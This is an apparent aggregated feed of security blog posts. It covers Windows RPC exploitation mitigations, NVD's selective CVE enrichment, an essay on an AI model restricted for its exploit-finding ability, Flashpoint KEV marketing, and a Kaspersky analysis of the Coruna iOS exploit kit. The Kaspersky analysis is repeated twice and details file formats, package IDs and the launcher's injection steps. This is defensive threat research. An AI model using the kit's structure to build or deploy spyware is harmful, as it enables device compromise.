By monitoring these events, administrators can identify situations where legitimate RPC servers are expected but not running. In some cases, the attack surface may be reduced by enabling the corresponding services, ensuring that the legitimate RPC server is available. This can hinder attackers from deploying malicious RPC servers that imitate legitimate endpoints.

It is also good practice to reduce the use of the SeImpersonatePrivilege privilege in processes where it is not required. Some system processes need this privilege for normal operations. However, granting it to custom processes is generally not considered good security practice.

Conclusion

All the exploits described in this research were tested on Windows Server 2022 and Windows Server 2025 with the latest available updates prior to the submission date. The proof-of-concept implementations can be found in the research repository. However, it is highly likely that this issue may also be exploitable on other Windows versions.

Because the vulnerability stems from an architectural design issue, there may be additional attack scenarios beyond those presented in this research. The exact exploitation paths may vary from one system to another depending on factors such as installed software, the DLLs involved in RPC communication, and the availability of corresponding RPC servers.

National Vulnerability Database (NVD) Shifts to Selective Enrichment as CVE Volume Surges

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National Vulnerability Database (NVD) Shifts to Selective Enrichment as CVE Volume Surges

In this post, we examine what NVD’s shift to selective enrichment means for vulnerability workflows and how security teams can maintain visibility and prioritization at scale.

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April 17, 2026

The National Vulnerability Database (NVD) is changing how it processes and enriches vulnerability data in response to sustained growth in CVE submissions.

Under a new model announced by the National Institute of Standards and Technology, NVD will no longer enrich every CVE. Instead, enrichment efforts will focus on a defined subset, including vulnerabilities in the CISA KEV catalog, software used by the federal government, and software designated as critical.

All other CVEs will remain in the database without additional context unless specifically requested.

Rising disclosure volumes are placing pressure on public vulnerability infrastructure, and it has direct implications for how security teams consume and act on vulnerability data.

What Changed in NVD’s Operating Model

For years, NVD aimed to provide consistent enrichment across all CVEs, including severity scoring, affected product data, and supporting context for prioritization.

That approach has not been sustainable since late 2023.

In 2025, Flashpoint tracked 44,509 disclosed vulnerabilities, 14,593 of which had publicly available exploits (and 1,944 more with proof-of-concepts). 

CVE submissions increased by 263% between 2020 and 2025, with 2026 already tracking higher year-over-year. Even with increased throughput, NVD has not been able to keep pace.

Under the updated model:

  • CVEs meeting prioritization criteria will be enriched on an accelerated timeline
  • CVEs outside those criteria will be labeled and left without enrichment
  • Re-analysis of modified CVEs will occur selectively
  • Separate NVD severity scoring will no longer be applied by default

This introduces a significant structural change in how vulnerability data is published and maintained.

The Impact on Vulnerability Workflows

Many security programs rely on NVD enrichment to operationalize CVE data. That enrichment provides the context needed to evaluate risk and determine remediation priorities.

With enrichment applied selectively, teams will encounter a growing number of CVEs that include:

  • Limited or no severity scoring
  • Incomplete product and version data
  • Minimal context on exploitability or impact
  • No CPE strings that allow for programmatic consumption of data

At the same time, disclosure volume continues to rise, and exploitation timelines remain compressed. This creates a gap between what is disclosed and what can be acted on efficiently.

Security teams will need to account for:

  • Larger backlogs of CVEs without actionable context
  • Increased manual effort to evaluate relevance and risk
  • Greater variability in data quality across sources

These changes affect vulnerability management, threat intelligence, and security operations workflows simultaneously.

Prioritization Criteria Will Not Capture the Full Risk Landscape

NVD’s updated model focuses enrichment on a defined set of criteria, including known exploited vulnerabilities and software relevant to federal systems.

These categories represent important segments of risk, but they do not encompass the full set of vulnerabilities that organizations encounter in practice.

Modern environments include:

  • Open-source dependencies
  • SaaS platforms and APIs
  • Cloud infrastructure and services
  • Third-party and partner integrations

Many vulnerabilities affecting these environments fall outside formal prioritization frameworks or lack immediate classification within public datasets. As a result, security teams will continue to face exposure from vulnerabilities that are:

  • Actively exploited but not yet included in prioritized lists
  • Missing complete metadata or enrichment
  • Relevant to their environment but not captured by federal-centric criteria

Vulnerability Intelligence Requires Broader Coverage and Deeper Context

As public enrichment becomes more selective, organizations will rely more heavily on alternative sources to maintain visibility and context.

Effective vulnerability intelligence requires:

  • Coverage across CVE and non-CVE vulnerabilities
  • Continuous tracking of exploitation activity and adversary usage
  • Context on exploit maturity, and remediation
  • Consistent enrichment that can be integrated into operational workflows

This level of detail supports faster and more accurate decision-making in environments where both volume and speed are increasing.

Flashpoint’s vulnerability intelligence model is built to address these requirements, with a dataset that includes over 7,000 known exploited vulnerabilities and ongoing analyst-driven enrichment across global sources.

What Security Teams Should Do Next

This shift in NVD operations does not change the need to track CVEs. It changes how that data can be used. Security teams should evaluate how their current workflows depend on:

  • NVD enrichment for prioritization
  • CVSS scoring as a primary decision input
  • Completeness of public vulnerability data

From there, teams can take steps to strengthen resilience:

  • Incorporate sources of vulnerability intelligence that cover CVE and more
  • Align prioritization to exploitation activity and environmental relevance
  • Validate coverage across software, cloud, and third-party dependencies
  • Ensure that enrichment gaps do not delay remediation decisions

A Structural Shift in Vulnerability Data

For many teams, NVD has been a default source of vulnerability context. This change makes clear that its role is narrowing at a time when disclosure volume and prioritization demands are increasing.

At the same time, the role of vulnerability intelligence is expanding.

Security teams need access to data that supports prioritization, not just identification. They need consistent enrichment, faster turnaround, broader coverage, and context tied to real-world activity. As disclosure volumes continue to grow, those requirements become more central to how organizations manage risk.

Flashpoint’s Vulnerability Intelligence provides this level of coverage and context, with analyst-driven enrichment, global visibility across CVE and non-CVE vulnerabilities, and a dataset that includes over 7,000 known exploited vulnerabilities.

Request a demo to see how Flashpoint helps security teams prioritize and act on vulnerability risk with greater precision and confidence.

Begin your free trial today.

The post National Vulnerability Database (NVD) Shifts to Selective Enrichment as CVE Volume Surges appeared first on Flashpoint.

Mythos and Cybersecurity

17 April 2026 at 13:02

Last week, Anthropic pulled back the curtain on Claude Mythos Preview, an AI model so capable at finding and exploiting software vulnerabilities that the company decided it was too dangerous to release to the public. Instead, access has been restricted to roughly 50 organizations—Microsoft, Apple, Amazon Web Services, CrowdStrike and other vendors of critical infrastructure—under an initiative called Project Glasswing.

The announcement was accompanied by a barrage of hair-raising anecdotes: thousands of vulnerabilities uncovered across every major operating system and browser, including a 27-year-old bug in OpenBSD, a 16-year-old flaw in FFmpeg. Mythos was able to weaponize a set of vulnerabilities it found in the Firefox browser into 181 usable attacks; Anthropic’s previous flagship model could only achieve two.

This is, in many respects, exactly the kind of responsible disclosure that security researchers have long urged. And yet the public has been given remarkably little with which to evaluate Anthropic’s decision. We have been shown a highlight reel of spectacular successes. However, we can’t tell if we have a blockbuster until they let us see the whole movie.

For example, we don’t know how many times Mythos mistakenly flagged code as vulnerable. Anthropic said security contractors agreed with the AI’s severity rating 198 times, with an 89 per cent severity agreement. That’s impressive, but incomplete. Independent researchers examining similar models have found that AI that detects nearly every real bug also hallucinates plausible-sounding vulnerabilities in patched, correct code.

This matters. A model that autonomously finds and exploits hundreds of vulnerabilities with inhuman precision is a game changer, but a model that generates thousands of false alarms and non-working attacks still needs skilled and knowledgeable humans. Without knowing the rate of false alarms in Mythos’s unfiltered output, we cannot tell whether the examples showcased are representative.

There is a second, subtler problem. Large language models, including Mythos, perform best on inputs that resemble what they were trained on: widely used open-source projects, major browsers, the Linux kernel and popular web frameworks. Concentrating early access among the largest vendors of precisely this software is sensible; it lets them patch first, before adversaries catch up.

But the inverse is also true. Software outside the training distribution—industrial control systems, medical device firmware, bespoke financial infrastructure, regional banking software, older embedded systems—is exactly where out-of-the-box Mythos is likely least able to find or exploit bugs.

However, a sufficiently motivated attacker with domain expertise in one of these fields could nevertheless wield Mythos’s advanced reasoning capabilities as a force multiplier, probing systems that Anthropic’s own engineers lack the specialized knowledge to audit. The danger is not that Mythos fails in those domains; it is that Mythos may succeed for whoever brings the expertise.

Broader, structured access for academic researchers and domain specialists—cardiologists’ partners in medical device security, control-systems engineers, researchers in less prominent languages and ecosystems—would meaningfully reduce this asymmetry. Fifty companies, however well chosen, cannot substitute for the distributed expertise of the entire research community.

None of this is an indictment of Anthropic. By all appearances the company is trying to act responsibly, and its decision to hold the model back is evidence of seriousness.

But Anthropic is a private company and, in some ways, still a start-up. Yet it is making unilateral decisions about which pieces of our critical global infrastructure get defended first, and which must wait their turn.

It has finite staff, finite budget and finite expertise. It will miss things, and when the thing missed is in the software running a hospital or a power grid, the cost will be borne by people who never had a say.

The security problem is far greater than one company and one model. There’s no reason to believe that Mythos Preview is unique. (Not to be outdone, OpenAI announced that its new GPT-5.4-Cyber is so dangerous that the model also will not be released to the general public.) And it’s unclear how much of an advance these new models represent. The security company Aisle was able to replicate many of Anthropic’s published anecdotes using smaller, cheaper, public AI models.

Any decisions we make about whether and how to release these powerful models are more than one company’s responsibility. Ultimately, this will probably lead to regulation. That will be hard to get right and requires a long process of consultation and feedback.

In the short term, we need something simpler: greater transparency and information sharing with the broader community. This doesn’t necessarily mean making powerful models like Claude Mythos widely available. Rather, it means sharing as much data and information as possible, so that we can collectively make informed decisions.

We need globally co-ordinated frameworks for independent auditing, mandatory disclosure of aggregate performance metrics and funded access for academic and civil-society researchers.

This has implications for national security, personal safety and corporate competitiveness. Any technology that can find thousands of exploitable flaws in the systems we all depend on should not be governed solely by the internal judgment of its creators, however well intentioned.

Until that changes, each Mythos-class release will put the world at the edge of another precipice, without any visibility into whether there is a landing out of view just below, or whether this time the drop will be fatal. That is not a choice a for-profit corporation should be allowed to make in a democratic society. Nor should such a company be able to restrict the ability of society to make choices about its own security.

This essay was written with David Lie, and originally appeared in The Globe and Mail.

Flashpoint Surpasses Cataloging 7,000 Known Exploited Vulnerabilities as Disclosure Volume Accelerates

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Flashpoint Surpasses Cataloging 7,000 Known Exploited Vulnerabilities as Disclosure Volume Accelerates

In this post we explore Flashpoint’s latest milestone of surpassing cataloging 7,000 known exploited vulnerabilities and what this means for security teams.

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April 15, 2026

Flashpoint Vulnerability Intelligence has surpassed cataloging 7,000 known exploited vulnerabilities, surpassing another major milestone as vulnerability disclosures accelerate across the global attack surface.

In 2025, Flashpoint tracked 44,509 disclosed vulnerabilities, a pace that continues to accelerate into 2026. Of those, 14,593 had publicly available exploits (1,944 more with proof-of-concepts), giving threat actors immediate pathways to weaponization.

This pace is shaping how exploitation unfolds, with high-impact vulnerabilities being operationalized within hours or days, particularly when they affect widely deployed technologies or core infrastructure.

Security teams are operating within this compressed environment every day. They are reviewing more findings across open-source software, commercial applications, cloud environments, and third-party dependencies, while working within tighter timelines to assess impact and take action.

Flashpoint’s latest milestone of surpassing 7,000 known exploited vulnerabilities (KEVs) cataloged reflects that reality. It highlights how vulnerability management programs are evolving toward prioritization as a core capability, with a focus on vulnerabilities tied to active exploitation and real-world risk.

What The 7,000+ KEV Milestone Means for You

Security teams are operating in a high-volume environment. Vulnerabilities are disclosed continuously across open-source software, commercial applications, cloud environments, and third-party dependencies. At the same time, advancements in automation and code analysis are increasing the rate at which new findings are surfaced.

Each of these findings enters an already crowded workflow. Teams are expected to determine relevance, urgency, and impact quickly, often with limited context. This is where risk-based decision making becomes essential.

Flashpoint tracks hundreds of thousands of vulnerabilities across thousands of sources. Within that dataset, a much smaller percentage shows confirmed exploitation activity. That concentration of risk informs how effective programs allocate time and resources.

Crossing the 7,000+ KEV milestone goes beyond scale to provide greater precision, deeper context, and stronger confidence in how teams prioritize and act on the most critical vulnerabilities.

  • Validated threats: Each KEV entry reflects observed exploitation in the wild by threat actors, including APT groups, cybercriminal operations, ransomware presence, and automated botnets.
  • Exploit-aware prioritization: In reality, only a small percentage of tracked vulnerabilities drive real-world incidents. FP KEV provides visibility into that subset so teams can focus remediation efforts where they have immediate impact.
  • Human-curated intelligence: Every entry is reviewed, validated, and enriched by analysts, with context on exploit maturity, adversary usage, and remediation pathways when available.

This level of clarity allows teams to move faster without sacrificing accuracy. It supports vulnerability management programs that are built around real-world attacker behavior and aligned to current risk.

How Public Vulnerability Data Fits Into the Picture

Public vulnerability catalogs remain useful reference points for tracking disclosures and confirmed exploitation. The CISA Known Exploited Vulnerabilities catalog, for example, gives security teams a curated view into a limited set of vulnerabilities that have been exploited in the wild that impact U.S. government stakeholders.

For many organizations, though, that level of visibility is not enough.

Public catalogs capture only part of the picture. They tend to reflect a narrower slice of exploitation activity, with less detail on how vulnerabilities are being used, which actors are leveraging them, and what defenders should do next. They also rely heavily on CVE-based tracking, leaving gaps around non-CVE exposures and other vulnerabilities that still carry operational risk.

Flashpoint’s FP KEV and Vulnerability Intelligence provide a broader and more actionable view. The advantage is visible in both scale and depth. Of the 7,000 known exploited vulnerabilities in FP KEV, over 800 are missing from CVE. That expanded coverage is paired with the context security teams need to prioritize effectively, including exploit maturity, adversary mapping, affected product detail, and remediation guidance.

DimensionPublic KEV CatalogsFlashpoint FP KEV
ScopeVaries by provider, with coverage dependent on available sources and methodologyGlobal, cross-industry coverage
CoverageCVE-based trackingCVE and non-CVE vulnerabilities
ContextLimited enrichmentExploit maturity, adversary mapping, remediation
Update ModelPeriodic updatesContinuously updated with analyst input

This is what separates a reference list from an operational dataset. Teams need vulnerability intelligence that supports triage, remediation, reporting, and broader risk reduction efforts. Wider visibility and deeper context make that possible.

The Critical Role of Human-Curated Intelligence

Vulnerability data originates from a wide range of sources with varying levels of completeness and accuracy.

Flashpoint’s intelligence model includes analyst validation to ensure consistency and depth across the dataset.

This process includes:

  • Reviewing disclosures across public and private sources
  • Validating exploit availability and usage
  • Enriching entries with technical and operational context

Analyst input supports:

  • Accurate classification of vulnerabilities
  • Clear understanding of exploitation pathways
  • Timely updates as activity evolves

Supporting Decision-Making Across Teams

Vulnerability intelligence feeds multiple functions across an organization. Teams use this data to align technical actions with current threat activity.

Common use cases include:

  • Vulnerability management: Align patching priorities with active exploitation trends.
  • Threat intelligence: Map vulnerabilities to threat actor campaigns and observed behaviors.
  • Security operations: Tune detection based on known exploit techniques.
  • Executive reporting: Communicate risk posture using data tied to real-world activity.

Each of these functions relies on consistent, enriched intelligence to maintain alignment.

Proactively Address Vulnerability Risk

Vulnerability discovery continues to expand across software ecosystems, infrastructure, and identity layers.

Security teams require a clear understanding of which issues are relevant to their environment at any given time.

Flashpoint provides primary source intelligence that supports this need through:

  • Continuous monitoring of vulnerability disclosures and exploitation
  • Analyst-driven validation and enrichment
  • Integration-ready data for operational workflows

This approach enables teams to maintain focus, allocate resources effectively, and respond to risk based on current threat activity. Request a demo and learn more today.

Begin your free trial today.

The post Flashpoint Surpasses Cataloging 7,000 Known Exploited Vulnerabilities as Disclosure Volume Accelerates appeared first on Flashpoint.

Coruna: the framework used in Operation Triangulation

26 March 2026 at 09:00

Introduction

On March 4, 2026, Google and iVerify published reports about a highly sophisticated exploit kit targeting Apple iPhone devices. According to Google, the exploit kit was first discovered in targeted attacks conducted by a customer of an unnamed surveillance vendor. It was later used by other attackers in watering-hole attacks in Ukraine and in financially motivated attacks in China. Additionally, researchers discovered an instance with the debug version of the exploit kit, which revealed the internal names of the exploits and the framework name used by its developers — Coruna. Analysis of the kit showed that it relies on the exploitation of many previously patched vulnerabilities and also includes exploits for CVE-2023-32434 and CVE-2023-38606. These two vulnerabilities particularly caught our attention because they had been first discovered as zero-days used in Operation Triangulation.

Operation Triangulation is a complex mobile APT campaign targeting iOS devices. We discovered it while monitoring the network traffic of our own corporate Wi-Fi network. We noticed suspicious activity that originated from several iOS-based phones. Following the investigation, we learned that this campaign employed a sophisticated spyware implant and multiple zero-day exploits. The investigation lasted for over six months, during which we disclosed our findings in connection to the attack. Kaspersky GReAT experts also presented these findings at the 37th Chaos Communication Congress (37C3).

Although all the details of both CVE-2023-32434 and CVE-2023-38606 have long been publicly available, and other researchers have developed their own exploits without ever seeing the Triangulation code, we decided to closely investigate the exploits used in Coruna. Some of the exploit kit distribution links provided by Google remained active at the time the report was published, which allowed us to collect, decrypt, and analyze all components of Coruna.

During our analysis, we discovered that the kernel exploit for CVE-2023-32434 and CVE-2023-38606 vulnerabilities used in Coruna, in fact, is an updated version of the same exploit that had been used in Operation Triangulation. The images below illustrate a high-level overview of the two attack chains. The exploit in question is highlighted with a red rectangle.

Attack chain of Operation Triangulation (simplified)

Attack chain of Operation Triangulation (simplified)

Attack chain of Coruna (simplified)

Attack chain of Coruna (simplified)

Moreover, we discovered that Coruna includes four additional kernel exploits that we had not seen used in Operation Triangulation, two of which were developed after the discovery of Operation Triangulation. All of these exploits are built on the same kernel exploitation framework and share common code. Code similarities from kernel exploits can also be found in other components of Coruna. These findings led us to conclude that this exploit kit was not patchworked but rather designed with a unified approach. We assume that it’s an updated version of the same exploitation framework that was used — at least to some extent — in Operation Triangulation.

Technical details

While we continue to investigate all exploits and vulnerabilities used by Coruna, this post provides a high-level overview of the exploit kit and attack chain.

Safari

Exploitation begins with a stager that fingerprints the browser and selects and executes appropriate remote code execution (RCE) and pointer authentication code (PAC) exploits depending on the browser version. It also contains a URL to an encrypted file with information about all available packages containing exploits and other components. The stager also includes a 256-bit key used to decrypt it. The URL and decryption key are passed to a payload embedded in PAC exploits.

Payload

The payload is responsible for initiating the exploitation of the kernel. After initialization, the payload first downloads a file with information about other available components. To extract it, the payload performs several steps processing multiple file formats.

First, the downloaded file is decrypted using the ChaCha20 stream cipher. Decryption yields a container with the magic number 0xBEDF00D, which stores LZMA-compressed data.

The file format used by the exploit kit to store compressed data

Offset Field
0x00 Magic number (0xBEDF00D)
0x04 Decompressed data size
0x08 LZMA-compressed data

The decompressed data presents another container with the magic number 0xF00DBEEF. This file format is used in the exploit kit to store and retrieve files by their IDs.

The file format used by the exploit kit to store files

Offset Field
0x00 Magic number (0xF00DBEEF)
0x04 Number of entries
0x08 Entry[0].File ID
0x0C Entry[0].Status
0x10 Entry[0].File offset
0x14 Entry[0].File size

We provide a description of all possible File ID values below. At this stage, when the payload gathers information about all available file packages, this container holds only one file, and its File ID is 0x70000.

Finally, we get to the file with information about all available file packages. It starts with the magic value 0x12345678. The exploit kit uses this file format to obtain URLs and decryption keys for additional components that need to be downloaded.

The file format used by the exploit kit to store information about file packages

Offset Field
0x00 Magic number (0x12345678)
0x04 Flags
0x08 Directory path
0x108 Number of entries
0x10C Entry[0].Package ID
0x110 Entry[0].ChaCha20 key
0x130 Entry[0].File name

The components required for exploiting a targeted device are selected using the Package ID. Its high byte specifies the package type and required hardware. We’ve seen the following package types:

  • 0xF2 – exploit for ARM64,
  • 0xF3 – exploit for ARM64E,
  • 0xA2 – Mach-O loader for ARM64,
  • 0xA3 – Mach-O loader for ARM64E,
  • 2 – implant for ARM64,
  • 0xE2 – implant for ARM64E.

The payload code also supports additional package types, such as 0xF1, an exploit for older ARM devices that do not support 64-bit architecture. Interestingly, however, the files for such exploits are missing.

Other bytes of the Package ID define the supported firmware version and CPU generation.

Some of the observed Package IDs (those with unique content)

Package ID Description
0xF3300000 Kernel exploit (iOS < 14.0 beta 7) and other components
0xF3400000 Kernel exploit (iOS < 14.7) and other components
0xF3700000 Kernel exploit (iOS < 16.5 beta 4) and other components
0xF3800000 Kernel exploit (iOS < 16.6 beta 5) and other components
0xF3900000 Kernel exploit (iOS < 17.2) and other components
0xA3030000 Mach-O loader (iOS 16.X) (A13 – A16)
0xA3050000 Mach-O loader (iOS 16.0 – 16.4)

The files inside these packages are also stored in encrypted and compressed 0xF00DBEEF containers, but this time compression is optional and is determined by the second bit in the Flags field. Different packages contain different sets of files. A description of all possible File IDs is given in the table below.

Observed File IDs

File ID Description
0x10000 Implant
0x50000 Mach-O loader (default)
0x70000 List of additional components
0x70005 Launcher config
0x80000 Launcher in 0xF2/0xF3 packages, or Mach-O loader in 0xA2/0xA3
0x90000 Kernel exploit
0x90001 Kernel exploit (for Mach-O loader)
0xA0000 Logs cleaner
0xA0001 Mach-O loader component
0xA0002 Mach-O loader component
0xF0000 RPC stager

After downloading the necessary components, the payload begins executing kernel exploits, Mach-O loaders, and the malware launcher. The payload selects an appropriate Mach-O loader based on the firmware version, CPU, and presence of the iokit-open-service permission.

Kernel exploits

We analyzed all five kernel exploits from the kit and discovered that one of them is an updated version of the same exploit we discovered in Operation Triangulation. There are many small changes, but the most noticeable are as follows:

  • The code takes into account more values ​​from XNU version strings, allowing for more accurate version checking.
  • Added a check for iOS 17.2. We assume that this was the latest version of iOS at the time of development (released in December 2023).
  • Added checks for newer Apple processors: A17, M3, M3 Pro, M3 Max (released in fall 2023).
  • Added a check for iOS version 16.5 beta 4. This version patched the exploit after our report to Apple.

Why does the exploit need to check for iOS 17.2 and newer CPUs if the targeted vulnerabilities were fixed in iOS 16.5 beta 4? The answer can be found by examining other exploits: they are all based on the same source code. The only difference is in the vulnerabilities they exploit, so these checks were added to support the newer exploits and appeared in the older version after recompilation.

Launcher

The launcher is responsible for orchestrating the post-exploitation activities. It also uses the kernel exploit and the interface it provides. However, since the exploit creates special kernel objects during its execution that provide the ability to read and write to kernel memory, the launcher simply reuses these objects without the need to trigger vulnerabilities and go through the entire exploitation path again. The launcher cleans up exploitation artifacts, retrieves the process name for injection from a config with the 0xDEADD00F magic number, injects a stager into the target process, uses it to execute itself, and launches the implant.

Conclusions

This case demonstrates once again the dangers associated with such malicious tools that lie in their potential wide usage. Originally developed for cyber-espionage purposes, this framework is now being used by cybercriminals of a broader kind, placing millions of users with unpatched devices at risk. Given its modular design and ease of reuse, we expect that other threat actors will begin incorporating it into their attacks. We strongly recommend that users install the latest security updates as soon as possible, if they have not already done so.

Coruna: the framework used in Operation Triangulation

26 March 2026 at 09:00

Introduction

On March 4, 2026, Google and iVerify published reports about a highly sophisticated exploit kit targeting Apple iPhone devices. According to Google, the exploit kit was first discovered in targeted attacks conducted by a customer of an unnamed surveillance vendor. It was later used by other attackers in watering-hole attacks in Ukraine and in financially motivated attacks in China. Additionally, researchers discovered an instance with the debug version of the exploit kit, which revealed the internal names of the exploits and the framework name used by its developers — Coruna. Analysis of the kit showed that it relies on the exploitation of many previously patched vulnerabilities and also includes exploits for CVE-2023-32434 and CVE-2023-38606. These two vulnerabilities particularly caught our attention because they had been first discovered as zero-days used in Operation Triangulation.

Operation Triangulation is a complex mobile APT campaign targeting iOS devices. We discovered it while monitoring the network traffic of our own corporate Wi-Fi network. We noticed suspicious activity that originated from several iOS-based phones. Following the investigation, we learned that this campaign employed a sophisticated spyware implant and multiple zero-day exploits. The investigation lasted for over six months, during which we disclosed our findings in connection to the attack. Kaspersky GReAT experts also presented these findings at the 37th Chaos Communication Congress (37C3).

Although all the details of both CVE-2023-32434 and CVE-2023-38606 have long been publicly available, and other researchers have developed their own exploits without ever seeing the Triangulation code, we decided to closely investigate the exploits used in Coruna. Some of the exploit kit distribution links provided by Google remained active at the time the report was published, which allowed us to collect, decrypt, and analyze all components of Coruna.

During our analysis, we discovered that the kernel exploit for CVE-2023-32434 and CVE-2023-38606 vulnerabilities used in Coruna, in fact, is an updated version of the same exploit that had been used in Operation Triangulation. The images below illustrate a high-level overview of the two attack chains. The exploit in question is highlighted with a red rectangle.

Attack chain of Operation Triangulation (simplified)

Attack chain of Operation Triangulation (simplified)

Attack chain of Coruna (simplified)

Attack chain of Coruna (simplified)

Moreover, we discovered that Coruna includes four additional kernel exploits that we had not seen used in Operation Triangulation, two of which were developed after the discovery of Operation Triangulation. All of these exploits are built on the same kernel exploitation framework and share common code. Code similarities from kernel exploits can also be found in other components of Coruna. These findings led us to conclude that this exploit kit was not patchworked but rather designed with a unified approach. We assume that it’s an updated version of the same exploitation framework that was used — at least to some extent — in Operation Triangulation.

Technical details

While we continue to investigate all exploits and vulnerabilities used by Coruna, this post provides a high-level overview of the exploit kit and attack chain.

Safari

Exploitation begins with a stager that fingerprints the browser and selects and executes appropriate remote code execution (RCE) and pointer authentication code (PAC) exploits depending on the browser version. It also contains a URL to an encrypted file with information about all available packages containing exploits and other components. The stager also includes a 256-bit key used to decrypt it. The URL and decryption key are passed to a payload embedded in PAC exploits.

Payload

The payload is responsible for initiating the exploitation of the kernel. After initialization, the payload first downloads a file with information about other available components. To extract it, the payload performs several steps processing multiple file formats.

First, the downloaded file is decrypted using the ChaCha20 stream cipher. Decryption yields a container with the magic number 0xBEDF00D, which stores LZMA-compressed data.

The file format used by the exploit kit to store compressed data

Offset Field
0x00 Magic number (0xBEDF00D)
0x04 Decompressed data size
0x08 LZMA-compressed data

The decompressed data presents another container with the magic number 0xF00DBEEF. This file format is used in the exploit kit to store and retrieve files by their IDs.

The file format used by the exploit kit to store files

Offset Field
0x00 Magic number (0xF00DBEEF)
0x04 Number of entries
0x08 Entry[0].File ID
0x0C Entry[0].Status
0x10 Entry[0].File offset
0x14 Entry[0].File size

We provide a description of all possible File ID values below. At this stage, when the payload gathers information about all available file packages, this container holds only one file, and its File ID is 0x70000.

Finally, we get to the file with information about all available file packages. It starts with the magic value 0x12345678. The exploit kit uses this file format to obtain URLs and decryption keys for additional components that need to be downloaded.

The file format used by the exploit kit to store information about file packages

Offset Field
0x00 Magic number (0x12345678)
0x04 Flags
0x08 Directory path
0x108 Number of entries
0x10C Entry[0].Package ID
0x110 Entry[0].ChaCha20 key
0x130 Entry[0].File name

The components required for exploiting a targeted device are selected using the Package ID. Its high byte specifies the package type and required hardware. We’ve seen the following package types:

  • 0xF2 – exploit for ARM64,
  • 0xF3 – exploit for ARM64E,
  • 0xA2 – Mach-O loader for ARM64,
  • 0xA3 – Mach-O loader for ARM64E,
  • 2 – implant for ARM64,
  • 0xE2 – implant for ARM64E.

The payload code also supports additional package types, such as 0xF1, an exploit for older ARM devices that do not support 64-bit architecture. Interestingly, however, the files for such exploits are missing.

Other bytes of the Package ID define the supported firmware version and CPU generation.

Some of the observed Package IDs (those with unique content)

Package ID Description
0xF3300000 Kernel exploit (iOS < 14.0 beta 7) and other components
0xF3400000 Kernel exploit (iOS < 14.7) and other components
0xF3700000 Kernel exploit (iOS < 16.5 beta 4) and other components
0xF3800000 Kernel exploit (iOS < 16.6 beta 5) and other components
0xF3900000 Kernel exploit (iOS < 17.2) and other components
0xA3030000 Mach-O loader (iOS 16.X) (A13 – A16)
0xA3050000 Mach-O loader (iOS 16.0 – 16.4)

The files inside these packages are also stored in encrypted and compressed 0xF00DBEEF containers, but this time compression is optional and is determined by the second bit in the Flags field. Different packages contain different sets of files. A description of all possible File IDs is given in the table below.

Observed File IDs

File ID Description
0x10000 Implant
0x50000 Mach-O loader (default)
0x70000 List of additional components
0x70005 Launcher config
0x80000 Launcher in 0xF2/0xF3 packages, or Mach-O loader in 0xA2/0xA3
0x90000 Kernel exploit
0x90001 Kernel exploit (for Mach-O loader)
0xA0000 Logs cleaner
0xA0001 Mach-O loader component
0xA0002 Mach-O loader component
0xF0000 RPC stager

After downloading the necessary components, the payload begins executing kernel exploits, Mach-O loaders, and the malware launcher. The payload selects an appropriate Mach-O loader based on the firmware version, CPU, and presence of the iokit-open-service permission.

Kernel exploits

We analyzed all five kernel exploits from the kit and discovered that one of them is an updated version of the same exploit we discovered in Operation Triangulation. There are many small changes, but the most noticeable are as follows:

  • The code takes into account more values ​​from XNU version strings, allowing for more accurate version checking.
  • Added a check for iOS 17.2. We assume that this was the latest version of iOS at the time of development (released in December 2023).
  • Added checks for newer Apple processors: A17, M3, M3 Pro, M3 Max (released in fall 2023).
  • Added a check for iOS version 16.5 beta 4. This version patched the exploit after our report to Apple.

Why does the exploit need to check for iOS 17.2 and newer CPUs if the targeted vulnerabilities were fixed in iOS 16.5 beta 4? The answer can be found by examining other exploits: they are all based on the same source code. The only difference is in the vulnerabilities they exploit, so these checks were added to support the newer exploits and appeared in the older version after recompilation.

Launcher

The launcher is responsible for orchestrating the post-exploitation activities. It also uses the kernel exploit and the interface it provides. However, since the exploit creates special kernel objects during its execution that provide the ability to read and write to kernel memory, the launcher simply reuses these objects without the need to trigger vulnerabilities and go through the entire exploitation path again. The launcher cleans up exploitation artifacts, retrieves the process name for injection from a config with the 0xDEADD00F magic number, injects a stager into the target process, uses it to execute itself, and launches the implant.

Conclusions

This case demonstrates once again the dangers associated with such malicious tools that lie in their potential wide usage. Originally developed for cyber-espionage purposes, this framework is now being used by cybercriminals of a broader kind, placing millions of users with unpatched devices at risk. Given its modular design and ease of reuse, we expect that other threat actors will begin incorporating it into their attacks. We strongly recommend that users install the latest security updates as soon as possible, if they have not already done so.

Navigating 2026’s Converged Threats: Insights from Flashpoint’s Global Threat Intelligence Report

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Navigating 2026’s Converged Threats: Insights from Flashpoint’s Global Threat Intelligence Report

In this post, we preview the critical findings of the 2026 Global Threat Intelligence Report, highlighting how the collapse of traditional security silos and the rise of autonomous, machine-speed attacks are forcing a total reimagining of modern defense.

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March 11, 2026

The cybersecurity landscape has reached a point of total convergence, where the silos that once separated malware, identity, and infrastructure have collapsed into a single, high-velocity threat engine. Simultaneously, the threat landscape is shifting from human-led attacks to machine-speed operations as a result of agentic AI, which acts as a force multiplier for the modern adversary.

Flashpoint’s 2026 Global Threat Intelligence Report

Flashpoint’s 2026 Global Threat Intelligence Report (GTIR) was developed to anchor security leaders — from threat intelligence and vulnerability management teams to physical security professionals and the CISO’s office — with the data required to navigate this year’s greatest threats, rife with infostealers, vulnerabilities, ransomware, and malicious insiders.

Our report uncovers several staggering metrics that illustrate the industrialization of modern cybercrime:

  • AI-related illicit activity skyrocketed by 1,500% in a single month at the end of 2025.
  • 3.3 billion compromised credentials and cloud tokens have turned identity into the primary exploit vector.
  • From January 2025 to December 2025, ransomware incidents rose by 53%, as attackers pivot from technical encryption to “pure-play” identity extortion.
  • Vulnerability disclosures surged by 12% from January 2025 to December 2025, with the window between discovery and mass exploitation effectively vanishing.

These findings are derived from Flashpoint’s Primary Source Collection (PSC), a specialized operating model that collects intelligence directly from original sources, driven by an organization’s unique Priority Intelligence Requirements (PIR). The 2026 Global Threat Intelligence Report leverages this ground-truth data to provide a strategic framework for the year ahead. Download to gain:

  1. A Clear Understanding of the New Convergence Between Identity and AI
    Discover how threat actors are preparing to transition from generative tools to sophisticated agentic frameworks. Learn how 3.3 billion compromised credentials are being weaponized via automated orchestration to bypass legacy defenses and exploit the connective tissue of modern corporate APIs.
  2. Intelligence on the “Franchise Model” of Global Extortion
    Gain deep insight into the professionalized operations of today’s most prolific threat actors. From the industrial efficiency of RaaS groups like RansomHub and Clop to the market dominance of the next generation of infostealer malware, we break down the economics driving today’s cybercrime ecosystem.
  3. A Blueprint for Proactive Defense and Risk Mitigation
